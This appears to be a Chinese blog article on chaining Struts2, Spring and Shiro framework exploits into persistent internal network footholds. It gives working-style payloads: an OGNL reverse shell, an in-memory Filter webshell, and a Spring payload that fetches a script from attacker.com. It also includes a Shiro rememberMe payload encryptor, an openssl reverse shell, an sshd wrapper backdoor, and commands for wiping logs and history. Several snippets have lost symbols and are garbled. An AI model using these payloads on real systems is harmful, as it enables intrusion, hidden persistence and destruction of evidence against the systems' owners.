不止于复现:如何将Struts2、Spring、Shiro漏洞变成你的内网渗透跳板

张开发
2026/4/14 16:10:31 15 分钟阅读

分享文章

不止于复现:如何将Struts2、Spring、Shiro漏洞变成你的内网渗透跳板
从漏洞复现到实战渗透构建企业级框架漏洞利用链在网络安全攻防演练中单纯验证漏洞存在只是万里长征的第一步。真正考验渗透测试人员能力的是如何将Struts2、Spring、Shiro等主流框架的漏洞转化为持续性的攻击跳板进而打通整个内网渗透路径。本文将跳出传统复现手册的局限分享如何将这些高危漏洞转化为实际攻击力。1. 漏洞利用的战术升级传统漏洞复现往往停留在执行whoami或弹出计算器的阶段而实战中我们需要考虑更多维度持久化访问单次命令执行远远不够需要建立稳定控制通道权限提升从Web权限到系统权限的跨越技巧环境适应绕过各种安全防护措施的实战方法痕迹清理避免触发安全告警的隐蔽技术以Struts2 OGNL注入为例常规PoC可能只演示命令执行而实战中我们可以这样构建攻击链# 反弹Shell的OGNL表达式构造 ${#ajava.lang.RuntimegetRuntime().exec(new String[]{/bin/bash,-c,echo YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTAwMSAwPiYx | base64 -d | bash})}这个经过Base64编码的命令会建立一个反向Shell连接解码后为bash -i /dev/tcp/192.168.1.10/9001 01远比单次命令执行有价值得多。2. 三大框架的深度利用技巧2.1 Struts2的OGNL注入进阶Struts2漏洞之所以经久不衰源于OGNL表达式的强大功能。除了常规RCE还可以内存马注入直接写入Filter型内存马绕过文件上传检测会话劫持通过OGNL操作Session对象获取管理权限配置篡改修改Struts2运行时参数禁用安全防护内存马注入关键步骤通过OGNL表达式获取当前应用的上下文环境动态注册恶意Filter到过滤器链首位注入的Filter会拦截所有请求实现隐蔽后门// 简化版内存马代码示例 public class EvilFilter implements Filter { public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) { String cmd req.getParameter(_cmd); if(cmd ! null) { try { Runtime.getRuntime().exec(cmd); } catch(Exception e) {} } chain.doFilter(req, res); } }2.2 Spring框架的SpEL表达式利用Spring的表达式注入(SpEL)同样危险但需要更多技巧上下文感知不同Spring组件的表达式上下文差异很大限制绕过处理沙箱限制和字符过滤的实用方法组合利用结合Spring Boot Actuator等特性扩大攻击面实战案例Spring Data REST漏洞(CVE-2017-8046)的深度利用原始PoC通常演示执行touch命令而实战中可以通过字节数组方式上传二进制木马使用Java反射机制绕过黑名单限制建立加密通信通道避免流量检测{ op: replace, path: T(java.lang.Runtime).getRuntime().exec( new java.lang.String(new byte[]{47,117,115,114,47,98,105,110,47,99,117,114,108,32,45,111,32,47,116,109,112,47,115,104,32,104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,46,99,111,109,47,115,104}))/lastname, value: exploit }字节数组解码后为/usr/bin/curl -o /tmp/sh http://attacker.com/sh2.3 Shiro反序列化的艺术Shiro的rememberMe反序列化漏洞(Shiro-550)是内网渗透的绝佳入口密钥破解利用常见密钥列表进行离线爆破流量隐蔽加密反序列化payload绕过WAF检测多阶段利用从反序列化到内存驻留的完整链条高效利用流程检测Shiro框架的存在通过rememberMedeleteMe特征使用ysoserial生成CommonsCollections payload用已知密钥加密payload发送建立SOCKS代理进行内网穿透# Shiro payload生成示例 from Crypto.Cipher import AES import base64 key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) # 常见默认密钥 iv b * 16 cipher AES.new(key, AES.MODE_CBC, iv) payload open(ysoserial.bin,rb).read() print(base64.b64encode(cipher.encrypt(payload)))3. 从外网到内网的跳板构建获得初始立足点后真正的挑战才开始。我们需要建立稳定的内网渗透通道3.1 反弹Shell的优化策略原始反弹Shell往往不稳定需要改进多协议备用同时准备TCP、ICMP、DNS等多种通道流量加密使用openssl或meterpreter的加密通道断线重连通过crontab或systemd实现持久化优化后的反弹Shell命令# 带重连机制的加密Shell mkfifo /tmp/s; /bin/bash -i /tmp/s 21 | openssl s_client -quiet \ -connect attacker.com:443 /tmp/s; rm /tmp/s3.2 内网信息收集自动化通过框架漏洞上传轻量级扫描脚本#!/usr/bin/env python import os, socket, json results { hostname: os.uname(), network: [], users: [], processes: [] } # 扫描内网存活主机 for i in range(1,255): ip f192.168.1.{i} try: socket.create_connection((ip,445), timeout1) results[network].append(ip) except: pass print(json.dumps(results))3.3 横向移动技术选型根据目标环境选择最适合的横向移动方式技术适用场景优点风险WMI执行Windows域环境无文件落地需要域账号SSH密钥利用Linux服务器稳定性高依赖密钥泄露SMB中继内网隔离不严无需凭证依赖SMB签名关闭数据库链接应用服务器直达核心数据需要数据库权限4. 权限维持的隐蔽艺术渗透的最后阶段是如何长期保持访问权限4.1 Web层后门内存马无文件驻留重启失效动态JSP混淆加密的脚本后门Filter注入修改现有应用逻辑4.2 系统层后门SSH wrapper劫持SSH登录流程cron计划任务定期回调C2服务器systemd服务注册隐蔽守护进程SSH Wrapper后门示例# 备份原始ssh二进制文件 mv /usr/sbin/sshd /usr/lib/sshd # 创建恶意wrapper echo #!/bin/bash (stty raw -echo; bash) | nc -lvp 2222 /usr/lib/sshd $ /usr/sbin/sshd # 设置权限 chmod x /usr/sbin/sshd4.3 痕迹清理指南操作完成后必须清理日志重点关注Web访问日志Apache/Nginx命令历史记录~/.bash_history系统日志/var/log/secure等应用框架日志Tomcat、Spring Boot等# 清理命令历史的高级方法 ln -sf /dev/null ~/.bash_history unset HISTFILE history -c在实战中真正的渗透专家不会满足于简单的漏洞验证而是会构建完整的攻击链条从外网突破到内网漫游最终实现长期隐蔽控制。这要求我们不仅要了解漏洞原理更要掌握系统架构、网络协议和安全防护的方方面面。

更多文章